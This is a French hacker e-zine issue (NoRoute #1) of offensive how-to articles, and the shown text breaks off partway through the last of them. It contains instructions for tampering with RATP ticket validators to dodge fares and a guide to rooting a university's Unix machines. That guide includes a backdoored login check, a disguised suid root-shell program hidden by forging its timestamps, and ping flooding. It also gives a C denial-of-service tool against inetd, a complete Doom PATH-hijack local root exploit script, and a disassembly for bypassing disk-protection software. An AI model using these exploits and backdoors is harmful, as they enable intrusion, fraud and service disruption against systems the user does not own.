,/$$$$$$$\. #{[REWT!]}# _"$$##[#]##$$"_ &&~$@#######@$~&& || || || N0RoUTE || || I || || || &&~$@#######@$~&& -.$$##[#]##$$.- #{[!FORK]}# `\$$$$$$$/' --------------------==========[ D i S C L A i M E R ]==========----------------- La lecture de cette publication electronique implique la lecture de ce disclaimer. Ce texte est fourni au lecteur a titre purement educatif et informatif. En aucun cas les auteurs n'incitent ce dernier au non-respect de la loi, sous toute forme qu'il soit. Ce texte est destine uniquement aux personnes auxquelles les auteurs l'ont remis, en consequence il peut etre considere comme une communication privee des auteurs avec ces personnes. Toute organisation representant un ordre quelconque ou toute agence de renseignement est consideree comme etrangere aux personnes autorisees a lire ce texte et en consequence aucune poursuite ne pourra etre faite contre les auteurs pour leur publication. En clair, go get fucked. -------------------================[ I N T R O ]===============----------------- J'ai le plaisir de vous presenter NoRoute #1. Ce zine est destine tout particulierement aux techniques evoluees orientees Unix:Rezo:Hack:Phreak:Crack et tout ce qui touche de pres ou de loin au plaisir jouissif de detourner de leur utilite principale les elements de techniques modernes d'aujourd'hui. Ce Zine est produit en collaboration avec PhE, un groupe francais regroupant des amateurs de sensations numeriques a haute influence physiologique.. J'espere donc que ce zine vous apportera plaisir et/ou connaissances et que sa lecture deviendra necessaire a vos yeux.... Le cable arrive. Cela signifie Net gratuit, telecommunication permanente avec le monde pour une somme negligeable, et donc retards et empechements de la part de Farce Telecom, qui apres avoir tente de preserver le minitel au profit du Net, continue son freinage inherant de l'avancee technologique en matiere de telecommunications. France Telecon nous fera surement aimer l'an 2000, mais certainement pas autant que l'an 1998! Sur ce, l'introduction laisse la place au sommaire, bonne lecture! -s0RC3Ry-> -------------------=============[ S O M M A I R E ]============----------------- Auteur Titre Numb Taille /-----------\/----------------------------------------\/------\/--------\ | Octag0n || PlAY With thA RAtP || 4755 || 18 k | | s0RC3Ry || Fak-Hak || 4756 || 12 k | | s0RC3Ry || Un probleme d'Inetd || 4757 || 5 k | | s0RC3Ry || dOOm blaster || 4758 || 5 k | | Pixel4 || Applic sur Ring Fence || 4759 || 22 k | | Cod4 || Hacking Pabxz || 4760 || 19 k | | Cod4 || Hack de VMB || 4761 || 18 k | | Mikasoft Traduction et commentaires d'un texte || || | | Cod4 de Dan Farmer (Satan, Sun) || 4762 || 35 k | | NeurAlien || French Scene ? || 4763 || 10 k | | s0RC3Ry || Notions d'exploits || 4764 || 17 k | | Larsen || Decouverte du spectre hertzien || 4765 || 5 k | | Cod4 || Nfs || 4766 || 5 k | | Kewl || Tcp/Ip || 4767 || 23 k | \-----------/\----------------------------------------/\------/\--------/ ------------------------------------------------------------------------------- NoRoute #1 Play With Tha Ratp! 4755 Octag0n NoRoute #1 ------------------------------------------------------------------------------- ooooooooo oo oooooooo oooooooo 00 o 00 00 00 00 00 00 000000000 00000000 ooo 00000000 00 o 00 00 00 00 oooooo 000000000000000000 0000000000 0000000000 o00000oo 0000000 00000 o00 000000000000oo 000 0 o00000 00000000o 00000 o 00000o o0000 o 0000 0000o 0000 0000 0000 000 o000 0000 00000 0000000000 000 00000 00000 00 o00 00000 00000 000 00 00000 0000 00000 0 0000 00000 0000 00000 00000 0000 00000 000000 0000 000000 0000000 0000 000000 0000000 0000 0000000 0000000000 0000 000000000 0000000 0000 00000 0000 0000 0000 0000 +-/\/\/\/\/\/\/\/\/\/\-+ | PlAY With thA RAtP | / ou \ \ Comment faire / / des economies \ \ grace au RER. / | | +-\/\/par oCt4gOn/\/\/-+ Si, comme a nous autres, il vous arrive de prendre le RER et d'etre degoute de l'honetete a force de banquer vos thunes dans les tickets dont le prix ne cesse d'augmenter, alors il est temps pour vous de lire le present texte. Dans cet article, nous allons decrire un moyen de trafiquer facilement les composteurs. Pour la realisation, il va vous falloir: - un fil de nylon assez epais ou un morceau de fil de fer. - le fil de nylon est plus pratique a mon gout. - euh... enfin bon, prenez les deux au cas ou... - des talents de crocheteur. - une bonne memoire (vous avez pas interet a lire ce texte comme un mode d'emploi devant la machine ouverte :) - un composteur RATP de banlieue bien cache dans la nuit. - une lampe de poche pour eclairer le composteur. - de la chance pour pas vous faire susprendre. - ou bien un costume d'agent technique de la RATP si vous devez agir pendant la journee. Vouaala... Maintenant que vous etes prets, lisez la suite. Le composteur de banlieue se presente sous la forme d'une boite posee sur un pied de env. 1m de haut. Quand le technicien homologue vient pour ouvrir la bebete, il tourne la clef qu'il a introduite dans la serrure situee sur le cote droit. Bon, vous n'avez pas la clef, mais en revanche vous avez vos talents de crocheteur et le fil. Inutile de vous prendre la tete avec des idees de bourrins et de penser qu'il serait plus rapide de forcer la serrure. Faites preuve de subtilite et veillez a ne pas laisser de traces d'effraction (auquel cas la RATP pourrait avoir la mauvaise idee de remplacer les composteurs pas des truks encore moins exploitables...). Bon en fait, une fois que la clef est tournee, le technicien fait basculer le capot du composteur vers l'avant (les charnieres sont situees sur l'arete avant du capot). Quand il a termine son intervention, il referme simplement le capot en le rebasculant dans sa position initiale. En fait le capot est retenu par 2 penes a ressorts qui sont ecartes quand on tourne la clef. Le composteur vu de cote: Le schema ci-contre vous illustre les ______________ explications. Maintenant vous voyez bien / | ou sont situes les deux penes (de chaque / \ cote du composteur. Le truk du crocheteur / \ consiste a repousser le pene vers l'avant | \ du composteur avec le fil. Pour cela, il | | faut introduire une partie du fil par la | | fente, tout en le tenant par les deux bouts =] ......|.. et de le tendre et de tirer dessus afin de | : | : repousser le pene comme prevu. Lorsque le |____________:_____| : pene est suffisemment repousse, le capot | : (0)| : se leve un peu de lui meme (il doit aussi | :.....|.: etre monte sur de legers ressorts). Vous : savez alors que votre crochetage est : reussi. : ...............:............. : | : : OOo | : : OOOOo | <---- capot : pene --> OOOOOOo | : : OOOOOOOOo | : : OOOO | ___| : : OOOO |____ <---- fente : OOOO | : : OOOOo | : : O' 'Oo | <---- base : serrure -> O, ,OO | : : 'OOOO' | : : | : :...........................: Une fois le capot bascule, vous avez l'electronique sous les yeux. ATTENTION! Si vous devez refermer le capot en panique, evitez deja de laisser le fil, quand c'est ouvert, vous n'en avez plus besoin, rangez-le. RE-ATTENTION! Quand vous rebasculez le capot, il y a un morceau de metal qui bascule et gene la fermeture, il suffit de le rebasculer a la main pour refermer completement le capot. Sur le cote ou se trouve la serrure, il y a un ecran LCD et un pave numerique implantes sur la plaque. C'est ici que les choses interessantes commencent. C'est la que le technicien entre les parametres du composteur. +-------------+ Si le composteur est en service et que tout va bien, l'ecran | EN SERVICE | affiche "EN SERVICE". Les touches # et * servent respective- +-------------+ ment a valider et annuler. Apres une premiere pression sur #, ( ) (1) (2) (3) la machine vous invite a entrer le mois, le jour, l'heure, (A) (4) (5) (6) les minutes et l'annee. Les parametres suivants sont ceux de (S) (7) (8) (9) la zone, de l'indicatif ligne, de numero de section et de (C) (*) (0) (#) sous-reseau ("SS-RESEAU"). Le seul moyen interessant de profiter de tous ca est de jouer avec les parametres de date et heure, a moins d'avoir un oncle technicien chez RATP et de savoir ce que signifient les autres parametres (sous-reseau?!)... Imaginez que vous devez prendre le RER regulierement entre deux stations de banlieue. Vous achetez un ticket. Vous le compostez dans un composteur dans lequel vous avez change la date pour une autre dans le futur (le mieux est de prevoir large...au cas ou). Tant que vous ne vous faites pas controler, tout va bien, remarquez que c'est la meme chose quand vous n'avez pas de ticket, sauf que quand le vilain controleur vient vous demander votre "titre de transport", vous n'avez pas ce desagreable mal de porte-feuille :). Le controleur ne pourra pas savoir quand est-ce que le ticket a ete composte et vous vous contenterez de lui dire que vous l'avez composte juste avant et que vous ne comprenez pas non plus de quoi il s'agit, que c'est louche et scandaleux, et que... et aussi...et de comment ca piece d'identite...? :))) ------------------------------------------------------------------------------- NoRoute #1 Fak Hak 4756 s0RC3Ry NoRoute #1 ------------------------------------------------------------------------------- ( -:$[ FAK HAK ]$:- ) +> Ou comment hacker sa fac en xxxx lecons <+ ( Mais pas beaucoup en tout cas ) Cet article s'adresse aux debutants sous unix qui ont pas envie de se prendre la tete a maitriser et qui ont besoin d'avoir acces au compte de leurs profs par exemple (mais pour quoi faire au juste ?)... Materiel necessaire.... NoRoute #1.. Un account sur une becanne unix de la fac.. Une legere connaissance de unix.. Une conscience.. Sous unix le seul account interessant est l'acces root. Nous sommes bien d'accord, root est le compte qui vous permet de tout faire sur un systeme. Son user_id est 0 est son group_id est le meme.. Commencez tout d'abord par reconnaitre le systeme utilise par la machine, chaque systeme a ses holes et ses problemes... Pour cela, faites appel a "uname -a" qui vous donnera une reponse franche : SunOS 4.1.4 par exemple.. Vous avez desormais acces a un systeme bourre de bugs potentiellement exploitables... La grande mode en matiere de hack, et la grande technique utilisee par tous de nos jours car elle est simple et efficace et ne demande pas une grande connaissance du systeme est l'exploit. L'exploit est un petit programme ou une serie de commande trouvee par un ingenieux bonhomme qui permet souvent de chopper l'acces root sur un systeme. Obtenir des exploits n'est pas tres complique... Un petit ftpsearch sur exploit vous donnera au moins un ftp bourre d'exploits pour differents systemes que vous n'aurez plus qu'a utiliser pour chopper le root.. Un exploit celebre est celui de la commande umount sous BSD. Si cette commande possede le bit suid c'est a dire si "ls -l /bin/umount" vous donne un truk comme: -rwsr-xr-x (presence du 's' vous l'avez vu ?) et que la version de umount est assez ancienne, alors vous pouvez chopper un root sur le systeme. Vous choppez l'exploit sur votre chti ftp, que nous appelerons ici mount.c Vous le compilez donc: host:~> cc mount.c -o exploit host:~> exploit Discovered and Coded by Bloodmask and Vio, Covin 1996 bash# whoami root bash# Et vous etes root. La simplicite de la chose explique pourquoi de nos jours il y a tellement de jeunes abrutis qui annoncent fierement leurs root dans #hack... =) Cet exploit utilise en fait une architecture de code propre aux mauvais programmes qui permet de modifier l'adresse de retour d'un call. En effet, le programme umount devient root pendant son execution grace au bit suid. En l'executant et en forcant le retour d'un call vers une routine qui execute un shell, on obtient ainsi un shell root...(voir exploits... =) C'est un exemple parmi tant d'autres.. Disons franchement qu'en cherchant bien sur le net et en essayant betement tous les exploits propres a un systeme, meme si vous etes une grosse brelle en matiere d'unix, vous arriverez a chopper le root dans votre fac huh... Bien entendu les administrateurs systemes des facs sont au courant de ces exploits et fixent en permanence leur systeme contre ceux-ci (du moins dans ma fac, ou j'ai eu un mal fou a chopper le root arf).. Une fois que vous etes root, vous ne pouvez bien entendu pas vous permettre d' utiliser l'exploit en question a chaque fois que vous desirez passer root sur le syteme, pour la simple raison que ce hole ne restera pas longtemps en place... Il vous faut donc planquer quelquepart un chti programme qui vous donnera l'acces root tout le temps mais qui ne sera pas decouvert par le root lui-meme.. Le mieux est d'avoir acces aux sources d'un programme suid peu souvent change par la fac que vous pourrez modifier pour vous donner un shell lorsqu'il est appele avec certains arguments... Par exemple, integrer a login.c un test if (!strcmp(username,"sorcery")) return (0); qui vous permettra de vous logger en root depuis n'importe ou... Sans laisser de traces sur le syteme. L'exemple ci-dessus ne tient absolument pas compte du code original de login.c le but est seulement de vous faire piger le principe... =) Un autre moyen, utilisable dans les systemes peu surveilles, mais assez discret quand meme, est de vous creer votre programme a vous, suid, qui vous donnera le root... Bien entendu il faut securiser ce programme en le deguisant en programme normal. Donnez lui un nom qui fasse "vrai" et qui justifie le bit suid par exemple "xfixconsole" qui d'apres son nom necessite un acces a la console et donc un root.. Placez le dans un repertoire peu frequente tel que /usr/X11R5/bin/ par exemple. Voici un exemple de code: ----8<-----8<-------8<--------8<-------cut here-------8<------8<------- /* Xfixconsole by Sorcery Sacre joli nom huh... Ne donne le shell que si il est appele ansi: host:~> xfixconsole fixing */ void main(int argc, char *argv[]) { if ( (argv[1]) && (!strcmp(argv[0],"xfixconsole"))\ && (!strcmp(argv[1],"fixing")) ) { setuid(0); setgid(0); system("/bin/bash"); } else { printf("\nFixed 0xA000\n"); } } ----8<-----8<--------8<--------8<----------cut here---------8<-------- Ensuite, compilez le programme et placez le dans le repertoire voulu... bash# cc xfixconsole.c -o xfixconsole Avant de le deplacer, nous allons noter la date de derniere modif du rep /usr/X11R5/bin... ("ls -l /usr/X11R5"). Disons que nous trouvons Jan 1 1994. bash# mv xfixconsole /usr/X11R5/bin/ Il faut maintenant lui donner les permissions voulues (+s) pour qu'il puisse changer son uid et son gid a 0... bash# chmod +s /usr/X11R5/bin/xfixconsole bash# ls -al !$ ls -al /usr/X11R5/bin/xfixconsole -rwsr-xr-x 1 root wheel 38613 Jan 1 1997 .../bin/xfixconsole* bash# voila qui est mieux. Maintenant il faut cacher ce fichier: il y a trois choses a modifier pour que le fichier passe discretement: -la date du fichier -son proprietaire -la date du '.' (eh oui, la date du rep a change aussi) Pour cela, nous mettons le fichier a la meme date que les fichiers qui lui sont proches: (cela passe bien lorsqu'une serie de cinq fichiers sont cotes a cotes et ont la meme date...) bash# ls -l /usr/X11R5/bin/xf* -r-xr-xr-x 1 root bin 385636 Jul 28 1995 /usr/X11R5/bin/xfig* -rwxr-xr-x 1 root bin 148600 Jun 24 1995 /usr/X11R5/bin/xfile.. ..manager* -rwsr-xr-x 1 root wheel 38613 Jan 1 1997 /usr/X11R5/bin/xfix.. ..console* -rwxr-xr-x 1 root bin 117344 Jun 18 1995 /usr/X11R5/bin/xfm* -rwxr-xr-x 1 root bin 770 Jun 18 1995 /usr/X11R5/bin/xfm.ins.. ..tall* -rwxr-xr-x 1 root bin 14184 Jun 18 1995 /usr/X11R5/bin/xfmtype* bash# bash# touch -t 180614591995 /usr/X11R5/bin/xfixconsole bash# touch -t 010114591994 /usr/X11R5/bin bash# chgrp bin /usr/X11R5/bin/xfixconsole bash# ls -l /usr/X11R5/bin/xfixconsole -rws--x--x 1 root bin 38613 Jun 18 1995 /usr/X11R5/bin/xfix.. ..console* Vous avez desormais un chti root sympa sur le systeme, qui vous permettra de bien vous marrer. A verifier cependant avant d'installer un tel prog: les crontabs. Dans /usr/spool/cron/crontabs/root, vous trouverez une liste d'instructions executees automatiquement par le systeme pour le root. Verifiez bien qu'aucun script n'est lance qui detecterait par exemple les nouveaux suid installes sur le systeme (utilisant generalement la commande find) ou autre chose qui vous grillerait... Choppez maintenant le fichier shadow, ou son equivalent selon les systemes.. (passwd.orig, passwd.secure, /auth/*/*...).. et crackez vous deux ou trois accounts a l'aide d'un cracker trouve sur le net (guess, par exemple, ou crack etc..). Cela vous permettra de ne plus vous logger avec votre compte pour bidouiller le systeme, ce qui peut etre assez pratique parfois... Passons maintenant a une aventure qui m'est arrivee dans ma fac et qui pourrait bien vous arriver si votre fac utilise plusieurs parcs de systemes differents... J'avais le root sur le parc HPUX, et besoin du root sur les SunOS de ma fac. Mon home etait le meme sur les deux, car le meme disk etait partage par NFS entre les becannes. Le disque etait en local sur HPUX et en NFS sur les SUNS. Le but etait donc d'exploiter le root de HPUX pour ne pas avoir a essayer des dizaines d'exploits sur la sun dont le sunos etait plutot bien protege... Voici donc la methode utilisee: sun:~> indique que les commandes sont tapees sur la sun. hp:~> indique que ma mere m'appelle pour diner ahum. sun:~> cc xfixconsole.c -o root j'avais donc dans mon home, le fichier xfixconsole.c compile pour sunos, bien entendu non executable sur la hp... hp:~> cd /usr/X11R5/bin Car '/usr/X11R5/bin/xfixconsole fixing' ne marchera pas.. =) hp:/usr/X11R5/bin/> xfixconsole fixing bash_hp# cd bash_hp# chown root.wheel ./root bash_hp# chmod 755 ./root bash_hp# ls -al ./root -rwsr-sr-x (.../...) root bash_hp# sun:~> ./root bash_sun# whoami root bash_sun# En utilisant mon home comme passerelle, j'ai donc reussi a executer sur la sun un suid via nfs... Il faut savoir que cela ne marchera que si: 1) Le root obtenu est sur la machine ou le home est local: via nfs, le root n'a pas le droit de modifier des fichiers qui ne lui appartiennent pas, et en particulier les rendre suid arf.. (sauf en "insecure"...) 2) Le filesystem est mounte via NFS sans le flag "nosuid" : pour verifier, faites un df ., qui vous donnera les flags separes par des virgules en plus de la place disk... (rw,nosuid...) La meme manip est donc utilisee sur la sun... Pour utiliser touch sous sunos, il faut passer par /usr/5bin qui contient les binaires repondant aux normes SVR4 (system 5 release 4), car le /usr/bin de sunos contient un touch qui ne permet pas de specifier une nouvelle date... A la fin donc, si j'ai bien tout calcule, on se retrouve avec un controle total de la fac qui peut etre assez plaisant =)... [MAiS QUE FAiRE AVEC CE r00t ?] Bonne question... Plusieurs activites sont marrantes a faire avec un root. Il y a tout d'abord le flood, qui, si vous avez le root sur un reseau a grande bande passante, vous permet de faire couler pas mal de connections 14.4 sur le net... Pour cela, plusieurs utilitaires existent sous linux par exemple, a peu pres tous bases sur le syn flood qui a tendance a plus trop marcher. Le ping est encore assez efficace: ping -f host en particulier si vous avez la bonne version de ping....est assez mechant quand il est utilise avec des '&' par exemple while (1) while> ping -f host & while> end est assez marrant.... pour arreter le massacre, killer le while puis faire un killall ping... ICMP rulez! =) On peut egalement sniffer avec un root...si le systeme est un noeud important pour d'autres becannes, ou si il est beaucoup frequente, il est possible de chopper, en ecoutant les connections reseaux, plusieurs acces un peu partout et pourquoi pas d'autres rewts.. =) Enfin, le but du rewt est surtout de l'avoir, ensuite imaginez vous tout simplement aux commandes d'un systeme en 64Mbits sur le net et vos idees viendront vite... =) -SorcerY Grmbl.. Placons ici quelques greetings =) Le truk chiant dont personne a rien a foutre sauf Octagon [C+++++] Mayweed [fz rulez =] CoD4 [on a FINI! =)] Kewl, Shybe, Larsen, Mikasoft... Tout PHE et MJ13... Vous tous dans #banane =) Ceux que j'aurais oublie.... ? ------------------------------------------------------------------------------- NoRoute #1 Un probleme d'inetd 4757 s0RC3Ry NoRoute #1 ------------------------------------------------------------------------------- -:$[Un probleme d'inetd...le looping]$:- SorcerY Sur une machine de type unix, il est possible de se connecter sur plusieurs ports. Par exemple, le port 23 est celui du telnet, le 21 du ftp, le 110 est reserve a pop-mail, le 25 est le mail.. pour gerer tous ces ports, il faut des programmes, et pour eviter que 60 programmes tournent en meme temps sur la machine pour ecouter les ports, on passe par un daemon, inetd, qui gere lui meme les connections: il ecoute les requetes de connection sur les ports et lance les programmes en fonction du besoin. Par exemple lors d'une connection sur le port 23, il execute /usr/sbin/in.telnetd, daemon qui va gerer la connection telnet.. [ok, il y a des exceptions... ] Il y a quelques annees encore, une grande technique de flood existait et amusait pas mal de monde: l'echo flood. Le port 7 des machines unix est en effet un port special, qui sert d'echo: tout packet envoye sur ce port est renvoye a l'expediteur... Le but de la manoeuvre etait d'envoyer quelques packets sur le port 7 de la machine a flooder en se faisant passer pour cette machine.. Le ping pong qui en resultait amenait generalement la machine a ralentir terriblement et parfois a planter... Pour controller ce genre d'evenements, les daemons d'echo refusent desormais generalement les packets venant de localhost, et inetd dispose d'un controle de ce loopbacking: quand un port est sollicite avec une trop grande frequence, inetd coupe tout simplement ce port... Ensuite, par defaut sous beaucoup de systemes, il faut attendre environ 20 minute pour que le port se rouvre ou bien le relancer a la main (kill -HUP inetd). Cette attaque ne sera sans doute pas efficace contre un gros serveur dont l'inetd sera beaucoup moins sensible au looping (prenons l'exemple d'un www qui est prevu pour recevoir environ 100 connections par minutes...).. De plus, il est bon de savoir qu'un /var/adm/messages d'un serveur ayant subit cette attaque sera rempli de +/-500 lignes contenant votre adresse IP. A faire donc uniquement lors de connections PPP.... =) ------8<----------8<----------Cut herE-------8<-----------8<---------------8<- /* pkill.c * p0rt| cc pkill.c -o pkill * * * Credits: * Alan Cox (gestion des sockets) */ #include #include #include #include #include #include #include #include int Make_Connection(int port,const char *buf); int Connect_To(int port,const char *buf) { if (Make_Connection(port,buf)==-1) { printf ("%s's port number %i is now unreachable! \n",buf,port); return(0); } return(1); } main(int argc,char *argv[]) { if (argv[1]&&argv[2]) { printf ("\nNow closing port %i on %s\n",atoi(argv[1]),argv[2]); while(Connect_To(atoi(argv[1]),argv[2])); printf("\n\nThanx to this lame kode, yeepee! =)\n"); } else { printf("\n\nUsage: %s [port] [host]\n",argv[0]); } } int Make_Connection(int port,const char *buf) { struct sockaddr_in myaddress; struct hostent *host; int v; host=gethostbyname(buf); if(host==NULL) { return(-1); } myaddress.sin_family=host->h_addrtype; myaddress.sin_addr.s_addr=*((long *)host->h_addr); myaddress.sin_port=htons(port); v=socket(AF_INET,SOCK_STREAM,0); /* Ouverture du socket apres initialisation des donnees pour la connection */ if(v==-1) { return(-1); } if(connect(v,(struct sockaddr *)&myaddress,sizeof(myaddress))<0) /* Connection a la machine */ { close(v); return(-1); } return(v); } ----------------------------------8<-------------8<---------------------------- ------------------------------------------------------------------------------- NoRoute #1 Doom est un jeu formidable.. 4758 s0RC3Ry NoRoute #1 ------------------------------------------------------------------------------- DooMRewT ou pourquoi DOOM EST UN JEU FORMIDABLE Schblam! les monstres s'explosent sur le mur dans une giclee de sang.... =) Doom est un jeu terrible. Il est terrible car il est tres repandu sur le net pour un jeu tel que celui la : je l'ai trouve sur des IRIX (sgi) des SunOS (sun huh) des Linux bien sur... Ce jeu est d'autant plus formidable qu'il est livre avec linux par defaut et souvent installe par les admins =) L'autre formidabilite de ce jeu est qu'il a ete porte sous linux par des burnes totales en matiere de securite... Voili l'explication d'un exploit que j'ai decouvert recemment alors que j'executais des fichiers au pif sur ma box (vi, vous savez quand on s'emmerde on balaie le clavier de cd, ls, et on execute ce qui nous passe sous les yeux c'est un tic assez universel chez les unixiens). Explications [ Mais qu'est-ce qu'il raconte ? ] Doom utilise svgalib. Donc doom ne supporte pas gpm. Or gpm est installe par defaut sur toutes les stations linux utilisant la slackware. Donc doom doit killer gpm avant de se lancer et le remettre apres. Or gpm est un programme appartenant au root, donc doom doit etre suid pour killer gpm. Jusqu'ici tout allait bien, sauf que chez ID software, ils se sont dit "on va pas se souler a rajouter des lignes de code, on va faire deux programmes a part". Premiere petite erreur. Encore pire, ils avaient fume je pense, ces pauvres bougres se sont amuses a executer un script depuis un executable suid, mais alors un script digne de microsoft! Un code de merde, qui bien entendu a engage de ma part une contraction abdominale terrible suivie de hoquets bruyants devant mon ecran... Principe exact: Deux programmes: killmouse et startmouse. Ces deux programmes sont suid. Ils executent respectivement "as root" killmouse.sh et startmouse.sh, deux scripts shell... Lorsque killmouse.sh kill la mouse il installe dans /tmp un fichier nomme gpmkilled et qui permettra a startmouse de savoir que la mouse a bien ete killee =) Quel bordel huh =). Voici le source de startmouse.sh: if [ -r /tmp/gpmkilled ]; then /usr/bin/grep gpm /etc/rc.d/rc.local > /tmp/gpmscript /bin/sh /tmp/gpmscript /bin/rm /tmp/gpmscript /tmp/gpmkilled fi explication: si le fichier /tmp/gpmkilled existe, alors on cherche la string qui execute gpm dans rc.local pour etre sur de pas se planter et on la copie dans un fichier /tmp/gpmscript. On execute ensuite ce fichier puis on retire les deux fichiers temporaires. Mais voila l'erreur... =) Ce programme, execute en tant que root, contient la chaine suivante: gpm -t ms & Ehehe, aucun chemin n'est specifie pour gpm. Or, dans ce cas, le systeme cherche au fil du $path le programme en question. Donc pour chopper un root, il suffit d'executer les commandes suivantes: becanne:~> touch /tmp/gpmkilled becanne:~> cp /bin/bash /tmp/suid_shell becanne:~> cat << END >> ~/gpm /bin/chown root.root /tmp/suid_shell /bin/chmod 04755 /tmp/suid_shell END becanne:~> chmod 755 ~/gpm becanne:~> set path = ~/ becanne:~> /usr/games/doom/startmouse gpm: already a gpm running, no process killed becanne:~> /tmp/suid_shell bash# En settant le path vers notre home et en creeant un ~/gpm, il sera execute comme root et vous pouvez donc y mettre ce que vous voulez.. Heureux ? =) voici donc le script qui va avec (qui fait ca tout seul huh) pour les faignants =)... Ps avant de partir (vi deja 3 articles ca fait beaucoup =) N'abusez pas de ce truk c'est illegal et c'est juste pour rire que je vous l'ai montre d'accord ? Si vous desirez en abuser chez moi demandez moi la permission a beigebox@mygale.org ........................Sorcery is powered by Linux. #!/bin/csh # Doom exploit by Sorcery / mj13 # Use it only on your system! # doomroot.sh (mode 755 =) # # File to remove if it fails: ~/gpm,/tmp/gpmkilled,/tmp/gpmscript,/tmp/.X11-Unix # Guy to great if it worx: beigebox@mygale.org (yeah, that's me ! :) ) # # FIX: rm -rf /usr/games/doom =) # cp /bin/bash /tmp/.X11-Unix touch /tmp/gpmkilled cat << EOF >> ~/gpm /bin/chown root.root /tmp/.X11-Unix /bin/chmod 4755 /tmp/.X11-Unix /bin/rm ~/gpm EOF chmod 755 ~/gpm set oldpath = ( $path ) set path = ~/ /usr/games/doom/startmouse >& /dev/null echo "\n This should happen now! =)" echo "/tmp/.X11-Unix is perhaps your paradise, guy!" echo " Found and Exploited by Sorcery\n" /usr/bin/sleep 2 # let's wait for gpm to finish his work... set path = ( $oldpath ) /tmp/.X11-Unix # End of doom exploit -Sorcery pour NoRoute #1- ------------------------------------------------------------------------------- NoRoute #1 Applic sur RingFence 4759 Pixel4 NoRoute #1 ------------------------------------------------------------------------------- ۲ Comment degager les ۲ ۲ residents empecheur de ۲ ۲ Hacker en rond... ۲ ۲ ۲ ۲ Applic sur RingFence ۲ Texte et code par PiXel4 (20/02/97) Le hacking nous propose des themes tres varies... mais ds beaucoups de cas cela necessite 1 acces sur 1 becane relie sur rezo local. ( cas d'une universite !) Mais avant de travailler correctement, y fo installer kelque softs bien puissants :) Et c'est toujours po evidant, vu que certain sysop de bahu ou d'univ mettent des protections logicielles sur leurs becannes pour eviter le transfer par disquettes ! Bah, tu me dira, on n'a ka faire sauter le prg... po aussi simple ;) Tout d'abord, fo bien savoir de koa on parle... ----------------------------------------------- Le logiciel cibler ici est destine a ne laisser "passer" que les disquettes autorisees a etre utilises sur LE pc, elle sont dites "certifies". Si une autre disquette venait a etre introduite, le petit prg resident declanche aussi tot 1 message du genre *Disk etranger !!!* en emettant 1 bruit desagreable et strident, qui ne manquera po d'attirer l'attention de tout le monde et surtout ds op ! BIIIIP BIIIP BIIIP Hehe, cale :( Cela peut devenir genant puisque l'on peut meme plus stoker des utils, des prg, des jeux sur les ordis... Fo remedier a tout ca ! Analyse methodique : -------------------- Le logiciel que je vais decrire s'appelle Ring Fence, mais il en existe plein d'autres comme celui ci et ils marchent generalement tous de la meme facon, alors l'adaptation n'est po tres complique ! A vous de la faire en fonction de ce que vous avez. Mais pour vous aider, un fichier Zip a ete inclus avec l'article, pour vous permettre de vous faire la main, et de mieux comprendre sont fonctionnement :) Ring Fence (RF) est un petit residant en .COM, et il se charge en memoire, appele par l'autoexec.bat, et se trouve ds la racine du hdd en fichier cache. Certains ont bien essaye de l'effacer pour supprimer le probleme, mais c'est la qu'est le probleme !!! RF est se compose de 2 parties ! L'une visible, le fichier com, et l'autre sur les secteurs d'amorce du dur. Donc si vous enlever RF.com ,1 partie de rf se charge quand meme, et resultat: quand vous arrivez sous le dos, ben on ne peux rien faire (HDD en Read Only) Po moyen d'ecrire sur le dur ! et bien sur il reconnait po les autres lecteurs que le c: Recapitulons: - la partie cache de RF bride le hdd (read only) - le fichier fr.com debride le hdd ( hdd ok) mais en plus ajoute 1 vecteur qui controle si on place bien 1 disk certifie ds le lecteur A: ou B: (Int 13h) Actions : --------- Il existe plein de methode pour contourner ce petit pb... Je ne vais en developper qu'une... celle qui pour moa est la plus propre, car apres votre passage, un autre utilisateur trouvera le hdd, et la memoire intacte comme si le crack n'avait jamais eu lieu ( cas ds 1 univ.) C'est donc une intervention en memoire et non 1 modif sur 1 fichier. On pourrait aussi penser a 1 modif du fichier, en contournant le code implique ds la verif du disk, (ce qui necessite de localiser le test CRC du logiciel, car en principe ce genre de soft en on 1, pour eviter l'infection par ds virus ou la modif par 1 petit malin ... mais ca c'est po 1 pb le CRC ! ) Ou alors, carrement degager l'integralite de RF sur le hdd Mais alors la, c'est voyant et tout le monde peux faire ce qu'il veux avec les lecteurs, et vous n'aurez plus d'acces privilegi :( Ou tout simplement si vous ne savez po programmer, charger rf.com en memoire et formater des diskquettes, qui seront donc certifier. (tout ca chez vous, pour mettre les prg dont vous avez besion... ) Mais c'est certainement la solution la plus chiante... car elle necssite plein d'op de formatage a chaque fois de l'on veux modifier qque chose !!! (Ne marche po forcement avec un autres soft comme RF...) Et j'en oubli encore, parceque yen a plein ! La technique que nous allons utiliser necessite quelques conaisances en ASM et c'est la plus simple d'emploi, car on peut ensuite passer toutes les disquettes "normales". Alons bon, RF n'est po long, nous allons donc le dessember en integralite ! Pour ce genre 2 petit prg residant, c'est la sol qui s'impose... Vous trouverez join a ce fichier TxT le prg RF.COM et son code desass, ds le Zip. Les essais avec RF.com se font sans pb ! Il ne va po toucher o disk ! Il se charge juste en mem et controles les disks, comme ca vous pourrez voir si le crack marche ! Je ne detaille que les parties interessantes du code, vous avez le fichier RF.asm ds son integralite (source de desassemblage) ! START !!! (commence a 100, c'est 1 com... bien sur...) 0100 E9 0C1A jmp real_start ; (0D1D) # Bahhh, ca commence bien... ! on nous balance deja a la fin du prg... # allons bon... vers le 0D1D # 0D1D 0E push cs # 0D1E 1F pop ds # initialisation du seg de donnees # ici on place les textes ( les messages d'err et l'ecran de presentation...) 0D1F B4 0D mov ah,0Dh 0D21 CD 21 int 21h ; DOS Services ah=function 0Dh # 0D23 B4 09 mov ah,9 # 0D25 BA 0874 mov dx,offset data_64 ; (815C:0874=20h) # 0D28 CD 21 int 21h ; DOS Services ah=function 09h # Affiche l'ecran de presentation RF # 0D2A B4 62 mov ah,62h # 0D2C CD 21 int 21h ; DOS Services ah=function 62h # la c'est.... ... get Program Segment Prefix bx # # argggg... et puis merde, si je commence a tout detailler comme ca, je vais # po m'en sortir ! alors je vais a l'essentiel ! 0D2E 8E C3 mov es,bx 0D30 26: 8B 1E 002C mov bx,es:data_1e ; (0000:002C=0EF6Fh) 0D35 8E C3 mov es,bx 0D37 33 DB xor bx,bx ; Zero register # gna gna gna... tout ca on s'en fou... jusqu'a : 0D6B # ben vi, c'est les tests d'integritee.... # important selon la methode de crack choisie... ou autrement si vous voulez # ecrire des conneries a la place de l'ecran de presentation... :) # 0D6B BA 0C54 mov dx,offset data_86 ; (815C:0C54='') # 0D6E B4 09 mov 